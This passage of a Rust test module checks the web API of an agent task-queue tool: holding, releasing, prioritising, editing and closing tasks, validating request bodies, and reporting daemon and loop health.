        assert!(h[0].pass.is_none());
        assert_eq!(h[0].exit, RunExit::Interrupted);
        assert_eq!(h[0].attempt, AttemptCost::Unknown);
        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
        // A run with no passes at all is entirely unknown.
        let legacy = flow_run(RunStatus::Implementing, |_| {});
        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
        assert!(h.iter().all(|v| v.pass.is_none()));
        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
    }

    #[test]
    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
        use crate::queue::PassCost;
        // Pass 1 is a web-button resume: a pass of the run, no entry of the
        // task. The two entries are passes 0 and 2.
        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
        web.task_entry = false;
        let run = flow_run(RunStatus::Implementing, |s| {
            s.passes = vec![
                recorded_pass(0, parked(upgrade_cause())),
                web.clone(),
                recorded_pass(2, None),
            ];
        });
        let mut task = flow_task(&[RUN_X, RUN_X]);
        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
        let h = task_history(&task, |_| Some(run.clone()));
        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);

        // Legacy first entry, then a web resume that parked for an upgrade,
        // then the daemon's pass: the legacy entry must stay unknown.
        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
        web0.task_entry = false;
        let run = flow_run(RunStatus::Implementing, |s| {
            s.passes = vec![web0.clone(), recorded_pass(1, None)];
        });
        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
        assert!(h[0].pass.is_none());
        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
        assert!(h[1].pass.is_some());
    }

    #[tokio::test]
    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
        let dir = tempfile::tempdir().unwrap();
        let queue = Queue::at(dir.path().join("queue"));
        let ui = Arc::new(Ui::new(
            queue.clone(),
            Questions::at(dir.path().join("questions")),
            Talks::at(dir.path().join("talks")),
            dir.path().join("runs"),
            dir.path().to_path_buf(),
            dir.path().to_path_buf(),
        ));
        let mut t = Task::new(
            "recover".into(),
            "Inspect".into(),
            PathBuf::from("."),
            Source::Human,
        );
        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
        t.start("run-A".into());
        t.release_operator("choice", Some("resume-question"));
        t.resume_override = Some(crate::queue::OperatorResume {
            question_id: "resume-question".into(),
            at: jiff::Timestamp::now(),
            conductor_rehold: None,
            forced: true,
            pinned_run: Some("run-A".into()),
        });
        t.hold_machine(Some("inspection pending".into()));
        t.edit("recover".into(), "Reuse approved PR head".into())
            .unwrap();
        queue.put(&mut t).unwrap();
        let mut cli = t.clone();
        cli.release_operator("cli", None);
        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
        let reloaded = queue.get(&t.id).unwrap();
        assert_eq!(reply.task.status, TaskStatus::Queued);
        assert!(reloaded.resume_override.is_none());
        assert_eq!(reloaded.answers, t.answers);
        let mut web = reloaded.resumption.unwrap();
        let cli = cli.resumption.unwrap();
        assert_eq!(web.source, "web");
        web.source = cli.source.clone();
        web.at = cli.at;
        assert_eq!(web, cli);
    }

    #[tokio::test]
    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
        let f = Fixture::start().await;
        let queue = f.queue();
        let mut task = Task::new(
            "spent".to_owned(),
            "Try again".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        task.start("20260902-140502-bbbb".to_owned());
        task.fail("agent gave up", 9);
        queue.put(&mut task).expect("file the task");

        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
        assert_eq!(held.status, 200);
        assert_eq!(held.json()["status_str"], "held");

        let released = f
            .post(&format!("/api/queue/{}/release", task.id), None)
            .await;
        assert_eq!(released.status, 200);
        assert_eq!(released.json()["status_str"], "queued");
        assert_eq!(released.json()["resumption"]["source"], "web");
        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
        let mut cli = task.clone();
        cli.release_operator("cli", None);
        let web = queue.get(&task.id).unwrap().resumption.unwrap();
        let cli = cli.resumption.unwrap();
        assert_eq!(web.instruction, cli.instruction);
        assert_eq!(web.answers_through, cli.answers_through);
        assert_eq!(web.runs_through, cli.runs_through);
        assert_eq!(web.cleared_reason, cli.cleared_reason);
        assert_eq!(
            released.json()["attempts"],
            0,
            "release is a real second chance, not an instant re-hold"
        );
        assert_eq!(
            queue.get(&task.id).expect("reload").status,
            TaskStatus::Queued,
            "the change is on disk, not only in the reply"
        );
        assert!(
            !f.home
                .path()
                .join("queue")
                .join(format!("{}.lock", task.id))
                .exists(),
            "the claim the mutation took is released again"
        );
    }

    #[tokio::test]
    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
        let f = Fixture::start().await;
        let queue = f.queue();
        let mut task = Task::new(
            "busy".to_owned(),
            "Running right now".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        queue.put(&mut task).expect("file the task");
        let _claim = queue.claim(&task.id).expect("stand in for the daemon");

        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;

        assert_eq!(res.status, 409);
        assert_eq!(
            queue.get(&task.id).expect("reload").status,
            TaskStatus::Queued,
            "the refused hold changed nothing"
        );
    }

    #[tokio::test]
    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
        let f = Fixture::start().await;
        let queue = f.queue();
        let mut task = Task::new(
            "waiting on the migration".to_owned(),
            "Do the thing".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        queue.put(&mut task).expect("file the task");

        let held = f
            .post(
                &format!("/api/queue/{}/hold", task.id),
                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
            )
            .await;
        assert_eq!(held.status, 200, "{}", held.body);
        assert_eq!(held.json()["status_str"], "held");
        assert_eq!(
            held.json()["hold_reason"],
            "waiting for 20260101-000000-aaaa to land"
        );

        let listed = f.get("/api/queue").await.json();
        assert_eq!(
            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
            "the card reads the reason off the same list route"
        );

        // A hold with no body at all must keep working - most holds have no
        // reason to give.
        let mut plain = Task::new(
            "no reason given".to_owned(),
            "Do another thing".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        queue.put(&mut plain).expect("file the task");
        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
        assert!(held_plain.json()["hold_reason"].is_null());

        let released = f
            .post(&format!("/api/queue/{}/release", task.id), None)
            .await;
        assert_eq!(released.status, 200);
        assert!(
            released.json()["hold_reason"].is_null(),
            "a release must clear the reason so the next hold does not inherit it"
        );
    }

    #[test]
    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
        for urgent in [true, false] {
            let body: UrgentBody =
                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
            assert_eq!(body.urgent, urgent);
        }
        for input in [
            r#"{}"#,
            r#"{"urgent":null}"#,
            r#"{"urgent":"true"}"#,
            r#"{"urgent":1}"#,
            r#"{"urgent":true,"extra":false}"#,
        ] {
            assert!(
                serde_json::from_str::<UrgentBody>(input).is_err(),
                "{input}"
            );
        }
    }

    #[tokio::test]
    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
        let home = TempDir::new().unwrap();
        let q = Queue::at(home.path().join("queue"));
        let ui = Arc::new(Ui::new(
            q.clone(),
            Questions::at(home.path().join("questions")),
            Talks::at(home.path().join("talks")),
            home.path().join("runs"),
            home.path().into(),
            home.path().into(),
        ));
        let mut task = Task::new(
            "urgent handler".into(),
            "keep".into(),
            home.path().into(),
            Source::Human,
        );
        for status in [TaskStatus::Queued, TaskStatus::Held] {
            task.status = status;
            q.put(&mut task).unwrap();
            for urgent in [true, true, false, false] {
                let saved = queue_urgent(
                    State(Arc::clone(&ui)),
                    Path(task.short().into()),
                    Ok(Json(UrgentBody { urgent })),
                )
                .await
                .unwrap();
                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
            }
        }
        task.status = TaskStatus::Queued;
        q.put(&mut task).unwrap();
        let claim = q.claim(&task.id).unwrap();
        let error = queue_urgent(
            State(Arc::clone(&ui)),
            Path(task.id.clone()),
            Ok(Json(UrgentBody { urgent: true })),
        )
        .await
        .unwrap_err();
        assert_eq!(error.status, StatusCode::CONFLICT);
        assert!(error.message.contains("released"));
        drop(claim);
        for status in [
            TaskStatus::Running,
            TaskStatus::Done,
            TaskStatus::Failed,
            TaskStatus::Blocked,
            TaskStatus::Parked,
        ] {
            task.status = status;
            q.put(&mut task).unwrap();
            let error = queue_urgent(
                State(Arc::clone(&ui)),
                Path(task.id.clone()),
                Ok(Json(UrgentBody { urgent: false })),
            )
            .await
            .unwrap_err();
            assert_eq!(error.status, StatusCode::BAD_REQUEST);
            assert!(error.message.contains(status.as_str()));
        }
    }

    #[tokio::test]
    async fn urgent_api_updates_preserves_and_validates_tasks() {
        let f = Fixture::start().await;
        let q = f.queue();
        let mut t = Task::new(
            "urgent API".into(),
            "unchanged".into(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        t.attempts = 2;
        t.priority = 9;
        t.interrupt = true;
        t.hold_reason = Some("waiting for approval".into());
        for status in [TaskStatus::Queued, TaskStatus::Held] {
            t.status = status;
            q.put(&mut t).unwrap();
            for urgent in [true, true, false, false] {
                let response = f
                    .post(
                        &format!("/api/queue/{}/urgent", t.short()),
                        Some(&format!("{{\"urgent\":{urgent}}}")),
                    )
                    .await;
                assert_eq!(response.status, 200, "{}", response.body);
                assert_eq!(response.json()["urgent"], urgent);
                let saved = q.get(&t.id).unwrap();
                let mut before = serde_json::to_value(&t).unwrap();
                let mut after = serde_json::to_value(saved).unwrap();
                before["urgent"] = urgent.into();
                before.as_object_mut().unwrap().remove("updated_at");
                after.as_object_mut().unwrap().remove("updated_at");
                assert_eq!(after, before);
            }
        }
        let route = format!("/api/queue/{}/urgent", t.id);
        for body in [
            r#"{}"#,
            r#"{"urgent":null}"#,
            r#"{"urgent":"true"}"#,
            r#"{"urgent":1}"#,
            r#"{"urgent":true,"extra":false}"#,
            "{",
        ] {
            assert_eq!(f.post(&route, Some(body)).await.status, 400);
        }
        t.status = TaskStatus::Queued;
        q.put(&mut t).unwrap();
        let claim = q.claim(&t.id).unwrap();
        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
        assert_eq!(response.status, 409, "{}", response.body);
        assert!(!q.get(&t.id).unwrap().urgent);
        drop(claim);
        for status in [
            TaskStatus::Running,
            TaskStatus::Done,
            TaskStatus::Failed,
            TaskStatus::Blocked,
            TaskStatus::Parked,
        ] {
            t.status = status;
            q.put(&mut t).unwrap();
            for urgent in [true, false] {
                let response = f
                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
                    .await;
                assert_eq!(response.status, 400, "{}", response.body);
                assert!(response.body.contains(status.as_str()));
                assert!(response.body.contains("queued or held"));
                assert!(!q.get(&t.id).unwrap().urgent);
            }
        }
        assert_eq!(
            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
                .await
                .status,
            404
        );
    }

    #[tokio::test]
    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
        let f = Fixture::start().await;
        let queue = f.queue();
        let mut older = Task::new(
            "filed first".to_owned(),
            "x".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        older.id = "20260101-000001-aaaa".to_owned();
        let mut newer = Task::new(
            "filed second".to_owned(),
            "x".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        newer.id = "20260101-000002-bbbb".to_owned();
        queue.put(&mut older).expect("file older");
        queue.put(&mut newer).expect("file newer");

        // Equal priority: the newer task leads, the same order the old
        // newest-first `list()` already gave every equal-priority queue.
        let before = f.get("/api/queue").await.json();
        assert_eq!(before[0]["id"], newer.id);
        assert_eq!(before[1]["id"], older.id);

        // Raising the *older* task is the meaningful case: it can only lead
        // now because its priority says so, not because it happens to be
        // newest.
        let raised = f
            .post(
                &format!("/api/queue/{}/priority", older.id),
                Some(r#"{"priority":10}"#),
            )
            .await;
        assert_eq!(raised.status, 200, "{}", raised.body);
        assert_eq!(raised.json()["priority"], 10);

        let after = f.get("/api/queue").await.json();
        let names: Vec<&str> = after
            .as_array()
            .unwrap()
            .iter()
            .map(|t| t["id"].as_str().unwrap())
            .collect();
        // Highest priority first, which is the order next_runnable and
        // `magi task list` both use - GET /api/queue must agree with it
        // immediately, not just once the loop claims the task.
        assert_eq!(names[0], older.id, "the raised task now sorts first");
    }

    #[tokio::test]
    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
        let dir = TempDir::new().unwrap();
        let q = Queue::at(dir.path().join("queue"));
        let ui = Arc::new(Ui::new(
            q.clone(),
            Questions::at(dir.path().join("questions")),
            Talks::at(dir.path().join("talks")),
            dir.path().join("runs"),
            dir.path().to_path_buf(),
            dir.path().to_path_buf(),
        ));
        let mut t = Task::new(
            "budget".into(),
            "keep".into(),
            dir.path().into(),
            Source::Human,
        );
        t.attempts = 2;
        t.runs.push("prior-run".into());
        t.hold_manual(Some("waiting".into()));
        q.put(&mut t).unwrap();
        let change = |value| {
            queue_attempt_limit(
                State(ui.clone()),
                Path(t.id.clone()),
                Ok(Json(AttemptLimitBody {
                    attempt_limit: value,
                })),
            )
        };
        for value in [
            serde_json::json!(3),
            serde_json::Value::Null,
            serde_json::json!(1),
        ] {
            let response = change(value.clone()).await.unwrap();
            assert_eq!(
                serde_json::to_value(response.0).unwrap()["attempt_limit"],
                value
            );
            let saved = q.get(&t.id).unwrap();
            assert_eq!(
                serde_json::to_value(&saved).unwrap()["attempt_limit"],
                value
            );
            assert_eq!(saved.status, TaskStatus::Held);
            assert_eq!(saved.attempts, t.attempts);
            assert_eq!(saved.runs, t.runs);
            assert_eq!(saved.hold_reason, t.hold_reason);
            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
                .await
                .unwrap()
                .0;
            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
            assert_eq!(outcome.max_attempts, detail.max_attempts);
        }
        for value in [
            serde_json::json!(0),
            serde_json::json!(-1),
            serde_json::json!(1.5),
            serde_json::json!("3"),
            serde_json::json!(true),
        ] {
            assert_eq!(
                change(value).await.err().unwrap().status,
                StatusCode::BAD_REQUEST
            );
        }
        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
        let claim = q.claim(&t.id).unwrap();
        assert_eq!(
            change(serde_json::json!(4)).await.err().unwrap().status,
            StatusCode::CONFLICT
        );
        drop(claim);
        for status in [
            TaskStatus::Running,
            TaskStatus::Done,
            TaskStatus::Failed,
            TaskStatus::Blocked,
            TaskStatus::Parked,
        ] {
            let mut stored = q.get(&t.id).unwrap();
            stored.status = status;
            q.put(&mut stored).unwrap();
            assert_eq!(
                change(serde_json::json!(4)).await.err().unwrap().status,
                StatusCode::BAD_REQUEST
            );
            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
        }
        let mut stored = q.get(&t.id).unwrap();
        stored.status = TaskStatus::Queued;
        q.put(&mut stored).unwrap();
        let _ = change(serde_json::Value::Null).await.unwrap();
        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
    }

    #[tokio::test]
    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
        let dir = TempDir::new().unwrap();
        let repo = dir.path().join("repo");
        std::fs::create_dir(&repo).unwrap();
        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
        let q = Queue::at(dir.path().join("queue"));
        let ui = Arc::new(Ui::new(
            q.clone(),
            Questions::at(dir.path().join("questions")),
            Talks::at(dir.path().join("talks")),
            dir.path().join("runs"),
            dir.path().to_path_buf(),
            repo.clone(),
        ));
        let mut t = Task::new(
            "seats".into(),
            "keep instruction".into(),
            repo,
            Source::Human,
        );
        t.runs.push("prior-run".into());
        t.hold_manual(Some("waiting".into()));
        q.put(&mut t).unwrap();
        let change = |count| {
            queue_implementers(
                State(ui.clone()),
                Path(t.id.clone()),
                Ok(Json(ImplementersBody {
                    implementers: count,
                })),
            )
        };
        for count in [2, 1, 2] {
            let response = change(count).await.unwrap();
            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
            let saved = q.get(&t.id).unwrap();
            assert_eq!(saved.implementers(), Some(usize::from(count)));
            assert_eq!(saved.runs, t.runs);
            assert_eq!(saved.instruction, t.instruction);
        }
        for count in [0, 4] {
            assert_eq!(
                change(count).await.err().unwrap().status,
                StatusCode::BAD_REQUEST
            );
        }
        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
        let claim = q.claim(&t.id).unwrap();
        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
        drop(claim);
        for status in [
            TaskStatus::Running,
            TaskStatus::Done,
            TaskStatus::Failed,
            TaskStatus::Blocked,
            TaskStatus::Parked,
        ] {
            let mut stored = q.get(&t.id).unwrap();
            stored.status = status;
            q.put(&mut stored).unwrap();
            assert_eq!(
                change(1).await.err().unwrap().status,
                StatusCode::BAD_REQUEST
            );
            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
        }
    }

    #[tokio::test]
    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
        let f = Fixture::start().await;
        let queue = f.queue();
        let mut task = Task::new(
            "in flight".to_owned(),
            "x".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        task.start("20260902-140502-bbbb".to_owned());
        queue.put(&mut task).expect("file the task");

        let res = f
            .post(
                &format!("/api/queue/{}/priority", task.id),
                Some(r#"{"priority":9}"#),
            )
            .await;
        assert_eq!(res.status, 400, "{}", res.body);
        assert!(
            res.json()["error"]
                .as_str()
                .is_some_and(|e| e.contains("running")),
            "{}",
            res.body
        );
        assert_eq!(
            queue.get(&task.id).expect("reload").priority,
            0,
            "the refused write must not partially apply"
        );
    }

    #[tokio::test]
    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
        let f = Fixture::start().await;
        let queue = f.queue();
        let mut task = Task::new(
            "old title".to_owned(),
            "old instruction".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Agent {
                run: "20260101-000000-beef".to_owned(),
                node: "implement".to_owned(),
            },
        );
        task.runs.push("20260101-000000-beef".to_owned());
        queue.put(&mut task).expect("file the task");
        let created_at = task.created_at;

        let edited = f
            .post(
                &format!("/api/queue/{}/edit", task.id),
                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
            )
            .await;
        assert_eq!(edited.status, 200, "{}", edited.body);
        let body = edited.json();
        assert_eq!(body["title"], "new title");
        assert_eq!(body["instruction"], "new instruction");
        assert_eq!(body["id"], task.id, "editing must not mint a new id");
        assert_eq!(body["created_at"], created_at.to_string());
        assert_eq!(
            body["source"]["kind"], "agent",
            "editing a task an agent filed must not turn it human: {body}"
        );
        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));

        let reloaded = queue.get(&task.id).expect("reload");
        assert_eq!(reloaded.title, "new title");
        assert_eq!(reloaded.instruction, "new instruction");
    }

    #[tokio::test]
    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
        // The judge is an agent now: a repo whose only agent answers
        // "duplicate" stands in for it, so the refusal is the judge's.
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        let judge = MOCK_AGENT_TOML.replace(
            "printf ok",
            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
        );
        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
        let f = Fixture::with_repo(repo.clone()).await;
        let queue = f.queue();
        let mut owner = Task::new(
            "owner".to_owned(),
            "review it".to_owned(),
            repo.clone(),
            Source::Human,
        );
        owner.review_branch = Some("magi/ab12/A".to_owned());
        queue.put(&mut owner).expect("file the owner");
        let mut task = Task::new(
            "draft".to_owned(),
            "old".to_owned(),
            repo.clone(),
            Source::Human,
        );
        queue.put(&mut task).expect("file the draft");
        let url = format!("/api/queue/{}/edit", task.id);

        let refused = f
            .post(
                &url,
                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
            )
            .await;
        assert_eq!(refused.status, 409, "{}", refused.body);
        let msg = refused.json()["error"]
            .as_str()
            .unwrap_or_default()
            .to_owned();
        assert!(
            msg.contains("magi/ab12/A") && msg.contains("force"),
            "{msg}"
        );
        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");

        let forced = f
            .post(
                &url,
                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
            )
            .await;
        assert_eq!(forced.status, 200, "{}", forced.body);
    }

    #[tokio::test]
    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
        let f = Fixture::start().await;
        let queue = f.queue();
        let mut task = Task::new(
            "in flight".to_owned(),
            "do not touch".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        task.start("20260902-140502-bbbb".to_owned());
        queue.put(&mut task).expect("file the task");

        let res = f
            .post(
                &format!("/api/queue/{}/edit", task.id),
                Some(r#"{"title":"x","instruction":"y"}"#),
            )
            .await;
        assert_eq!(res.status, 400, "{}", res.body);
        assert!(
            res.json()["error"]
                .as_str()
                .is_some_and(|e| e.contains("running")),
            "{}",
            res.body
        );
        assert_eq!(
            queue.get(&task.id).expect("reload").instruction,
            "do not touch",
            "the refused edit must not change the file"
        );
    }

    #[tokio::test]
    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
        let f = Fixture::start().await;
        let queue = f.queue();
        let mut task = Task::new(
            "busy".to_owned(),
            "Running right now".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        queue.put(&mut task).expect("file the task");
        let _claim = queue.claim(&task.id).expect("stand in for the daemon");

        let priority = f
            .post(
                &format!("/api/queue/{}/priority", task.id),
                Some(r#"{"priority":9}"#),
            )
            .await;
        assert_eq!(priority.status, 409, "{}", priority.body);

        let edit = f
            .post(
                &format!("/api/queue/{}/edit", task.id),
                Some(r#"{"title":"x","instruction":"y"}"#),
            )
            .await;
        assert_eq!(edit.status, 409, "{}", edit.body);
    }

    #[tokio::test]
    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
        let f = Fixture::start().await;
        let queue = f.queue();
        let mut task = Task::new(
            "shipped by hand".to_owned(),
            "merged outside the loop".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Agent {
                run: "20260101-000000-b455".to_owned(),
                node: "implement".to_owned(),
            },
        );
        task.runs.push("20260101-000000-b455".to_owned());
        task.runs.push("20260101-000000-9af4".to_owned());
        queue.put(&mut task).expect("file the task");
        let created_at = task.created_at;

        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
        assert_eq!(done.status, 200, "{}", done.body);
        assert_eq!(done.json()["status_str"], "done");

        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
        assert_eq!(
            reloaded.runs,
            ["20260101-000000-b455", "20260101-000000-9af4"]
        );
        assert_eq!(
            reloaded.source,
            Source::Agent {
                run: "20260101-000000-b455".to_owned(),
                node: "implement".to_owned(),
            }
        );
        assert_eq!(reloaded.created_at, created_at);
    }

    #[tokio::test]
    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
        // `done` is allowed on any status, including `held`, with no release
        // in between - so a task held for a reason and then closed directly
        // must not keep reading as "waiting on" it afterwards, on its card or
        // in `magi task show`.
        let f = Fixture::start().await;
        let queue = f.queue();
        let mut task = Task::new(
            "landed while held".to_owned(),
            "x".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        task.hold_manual(Some("waiting on 3ed9".to_owned()));
        queue.put(&mut task).expect("file the held task");

        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
        assert_eq!(done.status, 200, "{}", done.body);
        assert_eq!(done.json()["status_str"], "done");
        assert!(
            done.json()["hold_reason"].is_null(),
            "a done task cannot still be waiting on something: {}",
            done.body
        );
    }

    #[tokio::test]
    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
        // `queue_done` is the phone's way to close a task the loop never
        // settled itself - after confirming a manual GitHub merge, say - and
        // that is just as much "this task's story is over" as the loop's own
        // `Merged`/`Ready` path, so it must trigger the same cleanup.
        let f = Fixture::start().await;
        let queue = f.queue();
        let runs = f.runs();
        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
        // The last attempt has to have actually landed for the earlier one
        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
        // for the case where it didn't.
        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);

        let mut task = Task::new(
            "landed by hand".to_owned(),
            "x".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        task.runs.push("20260101-000000-doa1".to_owned());
        task.runs.push("20260101-000000-doa2".to_owned());
        queue.put(&mut task).expect("file the task");

        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
        assert_eq!(done.status, 200, "{}", done.body);

        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
            .expect("run still on disk under this fixture's own home");
        assert_eq!(
            reloaded_run.status,
            RunStatus::Superseded,
            "closing the task by hand must relabel the earlier blocked attempt exactly \
             like the loop's own settle path does"
        );
    }

    #[tokio::test]
    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
        // Closing a task by hand is allowed from any status, including one
        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
        // manual merge the loop never watched, say. Nothing here is provably
        // why the task is done, so nothing earlier gets relabelled either.
        let f = Fixture::start().await;
        let queue = f.queue();
        let runs = f.runs();
        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);

        let mut task = Task::new(
            "closed with nothing actually landed".to_owned(),
            "x".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        task.runs.push("20260101-000000-dob1".to_owned());
        task.runs.push("20260101-000000-dob2".to_owned());
        queue.put(&mut task).expect("file the task");

        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
        assert_eq!(done.status, 200, "{}", done.body);

        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
            .expect("run still on disk under this fixture's own home");
        assert_eq!(
            reloaded_run.status,
            RunStatus::Blocked,
            "the last recorded attempt never landed, so the earlier one must not be \
             relabelled as superseded by it"
        );
    }

    #[tokio::test]
    async fn unknown_ids_are_json_not_found_on_both_stores() {
        let f = Fixture::start().await;

        let run = f.get("/api/runs/nosuchrun").await;
        let task = f.post("/api/queue/nosuchtask/hold", None).await;

        assert_eq!(run.status, 404);
        assert_eq!(task.status, 404);
        assert!(
            run.json()["error"]
                .as_str()
                .is_some_and(|e| e.contains("run")),
            "the error names what was not found: {}",
            run.body
        );
        assert!(
            task.json()["error"]
                .as_str()
                .is_some_and(|e| e.contains("task")),
            "the error names what was not found: {}",
            task.body
        );
    }

    #[tokio::test]
    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
        let f = Fixture::start().await;

        let missing = f.get("/api/health").await.json();
        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");

        write_daemon(
            f.home.path(),
            Timestamp::now() - jiff::SignedDuration::from_secs(60),
        );
        let stale = f.get("/api/health").await.json();
        assert_eq!(
            stale["daemon"]["running"], false,
            "a minute without a heartbeat is a dead daemon, not a busy one"
        );
        assert!(
            stale["daemon"]["stale_for_secs"]
                .as_i64()
                .is_some_and(|s| s >= 55),
            "staleness is reported so the UI can say how long: {stale}"
        );

        write_daemon(f.home.path(), Timestamp::now());
        let fresh = f.get("/api/health").await.json();
        assert_eq!(fresh["daemon"]["running"], true);
        assert_eq!(fresh["daemon"]["idle"], false);
        assert_eq!(fresh["daemon"]["pid"], 4242);
        assert_eq!(fresh["daemon"]["completed"], 7);
        assert_eq!(
            fresh["daemon"]["current"][0]["task"],
            "20260902-140501-aaaa"
        );
        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
    }

    #[tokio::test]
    async fn the_loop_is_not_running_until_something_starts_it() {
        let f = Fixture::start().await;

        let view = f.get("/api/loop").await.json();
        assert_eq!(view["running"], false);
        assert_eq!(
            view["owned"], false,
            "nobody owns a loop that does not exist: {view}"
        );
        assert_eq!(view["stopping"], false);
        assert_eq!(view["last_error"], Value::Null);
        assert_eq!(view["daemon"]["running"], false);
        assert_eq!(
            view["repo"], "/repo/magi",
            "the repository a start would use, named before it is started"
        );
    }

    #[tokio::test]
    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
        let f = Fixture::start().await;

        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
        assert_eq!(res.status, 200, "{}", res.body);
        let view = res.json();
        assert_eq!(view["running"], true);
        assert_eq!(
            view["owned"], true,
            "the loop the UI started is the UI's own to stop: {view}"
        );
        assert_eq!(
            view["merge"],
            Value::Null,
            "no override was given, so each repository's own config decides"
        );

        // The same object from the route a waking phone polls first. Two
        // surfaces disagreeing about whether anything is running is exactly
        // the confusion this UI exists to remove.
        let health = f.get("/api/health").await.json();
        assert_eq!(health["loop"]["running"], true, "{health}");
        assert_eq!(health["loop"]["owned"], true, "{health}");

